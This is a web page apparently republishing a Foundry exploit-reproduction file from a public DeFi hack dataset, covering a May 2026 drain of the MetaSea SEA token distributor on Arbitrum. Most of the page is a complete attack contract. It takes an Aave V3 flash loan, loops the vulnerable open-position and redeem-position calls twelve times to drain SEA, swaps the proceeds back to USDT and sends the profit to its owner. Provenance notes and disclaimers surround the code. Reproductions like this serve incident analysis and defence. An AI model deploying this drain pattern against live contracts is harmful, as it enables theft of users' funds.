Public reproduction file
src/test/2026-05/SEAToken_exp.sol
Public reproduction file for dataset entry SEAToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import {Test} from "forge-std/Test.sol";5import {console} from "forge-std/console.sol";6import {IERC20} from "forge-std/interfaces/IERC20.sol";8// @KeyInfo - Total Lost : ~$110K9// Attacker : https://arbiscan.io/address/0x352173fabf0e67e1cb1fcdf15474d0477d5d367410// Attack Contract : https://arbiscan.io/address/0x32db518e84955739912b6257cc65e3e8374b60e411// Vulnerable Contract : https://arbiscan.io/address/0xa70f31c06f921019237fc00b1417217dae5c37c512// Attack Tx : https://arbiscan.io/tx/0x001cb16e17c4c5a5c4d02423c9e9b2f2b11ab6b2a1baf2ba53b8fcaf0616771613//14// @Info15// Vulnerable Contract Code : https://arbiscan.io/address/0xa70f31c06f921019237fc00b1417217dae5c37c5#code16//17// @Analysis18// Post-mortem : N/A19// Hacking God : https://anomly.rs/metasea-redeemposition-distributor-drain-arb-2026-05-1721contract SEATokenTest is Test {22 bytes32 internal constant TX_HASH = 0x001cb16e17c4c5a5c4d02423c9e9b2f2b11ab6b2a1baf2ba53b8fcaf06167716;23 address internal constant ATTACKER = 0x352173FAbF0E67E1cB1fcdF15474D0477D5D3674;24 address internal constant AAVE_V3_POOL = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;25 address internal constant ROUND = 0xA70F31c06F921019237Fc00B1417217Dae5c37C5;26 address internal constant DISTRIBUTOR = 0x5210525fbf63E55ecA1Ade9Ff98A3Ef80AF9220e;27 address internal constant SEA_USDT_PAIR = 0xEeb9c6B73a9Ba397FBEA320d9E4cCe7B8AC10513;28 uint256 internal constant ACTUAL_USDT_PROFIT = 13_904_941_068;29 uint256 internal constant ACTUAL_SEA_DRAINED = 245_547_600_901_738;30 IERC20 internal constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);31 IERC20 internal constant SEA = IERC20(0xE548CF28fbB95cEDC2b5c25a24f9AA8D06dcc0A6);33 SEATokenExploit internal exploit;35 function setUp() public {36 vm.createSelectFork("arbitrum", TX_HASH);37 exploit = new SEATokenExploit(ATTACKER);38 vm.label(ATTACKER, "Attacker");39 vm.label(AAVE_V3_POOL, "Aave V3 Pool");40 vm.label(ROUND, "MetaSea Round");41 vm.label(DISTRIBUTOR, "SEA Distributor");42 vm.label(SEA_USDT_PAIR, "SEA/USDT Pair");43 vm.label(address(USDT), "USDT");44 vm.label(address(SEA), "SEA");45 vm.label(address(exploit), "Exploit Contract");46 }48 function testExploit() public {49 uint256 beforeUsdt = USDT.balanceOf(ATTACKER);50 uint256 beforeDistributorSea = SEA.balanceOf(DISTRIBUTOR);52 vm.prank(ATTACKER, ATTACKER);53 exploit.attack();55 uint256 usdtProfit = USDT.balanceOf(ATTACKER) - beforeUsdt;56 uint256 distributorSeaDrained = beforeDistributorSea - SEA.balanceOf(DISTRIBUTOR);58 assertEq(usdtProfit, ACTUAL_USDT_PROFIT, "USDT profit");59 assertEq(distributorSeaDrained, ACTUAL_SEA_DRAINED, "SEA drain");61 console.log("Stolen SEA", distributorSeaDrained);62 console.log("Profit USDT", usdtProfit);63 }64}66contract SEATokenExploit {67 IAaveV3Pool internal constant AAVE_V3_POOL = IAaveV3Pool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);68 IMetaSeaRound internal constant ROUND = IMetaSeaRound(0xA70F31c06F921019237Fc00B1417217Dae5c37C5);69 IUniswapV2Pair internal constant SEA_USDT_PAIR = IUniswapV2Pair(0xEeb9c6B73a9Ba397FBEA320d9E4cCe7B8AC10513);70 IERC20 internal constant USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);71 IERC20 internal constant SEA = IERC20(0xE548CF28fbB95cEDC2b5c25a24f9AA8D06dcc0A6);73 bytes4 internal constant OPEN_POSITION_SELECTOR = 0x987217bc;74 uint256 internal constant FLASH_LOAN_AMOUNT = 3_300e6;75 uint256 internal constant SEA_BUY_AMOUNT = 300e6;76 uint256 internal constant OPEN_AMOUNT = 3_000e6;77 uint256 internal constant LOOP_COUNT = 12;79 address internal immutable owner;81 constructor(address owner_) {82 owner = owner_;83 }85 function attack() external {86 require(msg.sender == owner, "not owner");87 AAVE_V3_POOL.flashLoanSimple(address(this), address(USDT), FLASH_LOAN_AMOUNT, "", 0);89 uint256 profit = USDT.balanceOf(address(this));90 require(USDT.transfer(owner, profit), "profit transfer failed");91 }93 function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata)94 external95 returns (bool)96 {97 require(msg.sender == address(AAVE_V3_POOL), "not aave");98 require(initiator == address(this), "bad initiator");99 require(asset == address(USDT), "bad asset");101 for (uint256 i; i < LOOP_COUNT; ++i) {102 _openAndRedeem();103 }105 require(USDT.approve(address(AAVE_V3_POOL), amount + premium), "repay approve failed");106 return true;107 }109 function _openAndRedeem() internal {110 _swapUsdtForSea(SEA_BUY_AMOUNT);112 require(USDT.approve(address(ROUND), OPEN_AMOUNT), "USDT approve failed");113 (bool opened,) = address(ROUND).call(abi.encodeWithSelector(OPEN_POSITION_SELECTOR, OPEN_AMOUNT, uint256(0)));114 require(opened, "open failed");116 require(SEA.approve(address(ROUND), type(uint256).max), "SEA approve failed");117 ROUND.redeemPosition();119 uint256 seaBalance = SEA.balanceOf(address(this));120 if (seaBalance > 0) {121 _swapSeaForUsdt(seaBalance);122 }123 }125 function _swapUsdtForSea(uint256 usdtIn) internal {126 (uint112 reserveSea, uint112 reserveUsdt,) = SEA_USDT_PAIR.getReserves();127 uint256 seaOut = (usdtIn * reserveSea) / (uint256(reserveUsdt) + usdtIn);129 require(USDT.transfer(address(SEA_USDT_PAIR), usdtIn), "USDT pair transfer failed");130 SEA_USDT_PAIR.swap((seaOut * 97) / 100, 0, address(this), "");131 }133 function _swapSeaForUsdt(uint256 seaIn) internal {134 (uint112 reserveSea, uint112 reserveUsdt,) = SEA_USDT_PAIR.getReserves();135 uint256 pairSeaBefore = SEA.balanceOf(address(SEA_USDT_PAIR));137 require(SEA.transfer(address(SEA_USDT_PAIR), seaIn), "SEA pair transfer failed");139 uint256 seaReceived = SEA.balanceOf(address(SEA_USDT_PAIR)) - pairSeaBefore;140 uint256 amountInWithFee = seaReceived * 970;141 uint256 usdtOut = (amountInWithFee * reserveUsdt) / (uint256(reserveSea) * 1000 + amountInWithFee);143 SEA_USDT_PAIR.swap(0, usdtOut, address(this), "");144 }145}147interface IAaveV3Pool {148 function flashLoanSimple(149 address receiverAddress,150 address asset,151 uint256 amount,152 bytes calldata params,153 uint16 referralCode154 ) external;155}157interface IUniswapV2Pair {158 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);159 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;160}162interface IMetaSeaRound {163 function redeemPosition() external;164}Analysis
Dataset entry
Public Foundry test for “SEAToken” (2026-05-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/DxSale_exp.solSame month in the dataset · 70 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol, forge-std/console.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x352173fabf0e67e1cb1fcdf15474d0477d5d3674
- Attack Contract
0x32db518e84955739912b6257cc65e3e8374b60e4
- Vulnerable Contract
0xa70f31c06f921019237fc00b1417217dae5c37c5
- Attack Tx
0x001cb16e17c4c5a5c4d02423c9e9b2f2b11ab6b2a1baf2ba53b8fcaf06167716
- Explorer: https://arbiscan.io/address/0x352173fabf0e67e1cb1fcdf15474d0477d5d3674
- Explorer: https://arbiscan.io/address/0x32db518e84955739912b6257cc65e3e8374b60e4
- Explorer: https://arbiscan.io/address/0xa70f31c06f921019237fc00b1417217dae5c37c5
- Explorer: https://arbiscan.io/address/0xa70f31c06f921019237fc00b1417217dae5c37c5#code
File record
- Name
- SEAToken
- Path
- src/test/2026-05/SEAToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d0e031b6a19ba41930f1903916de21e6a7dd08f3
- Language
- Solidity
- Size
- 165 lines
- Date
- 2026-05-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/SEAToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d0e031b6a19ba41930f1903916de21e6a7dd08f3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.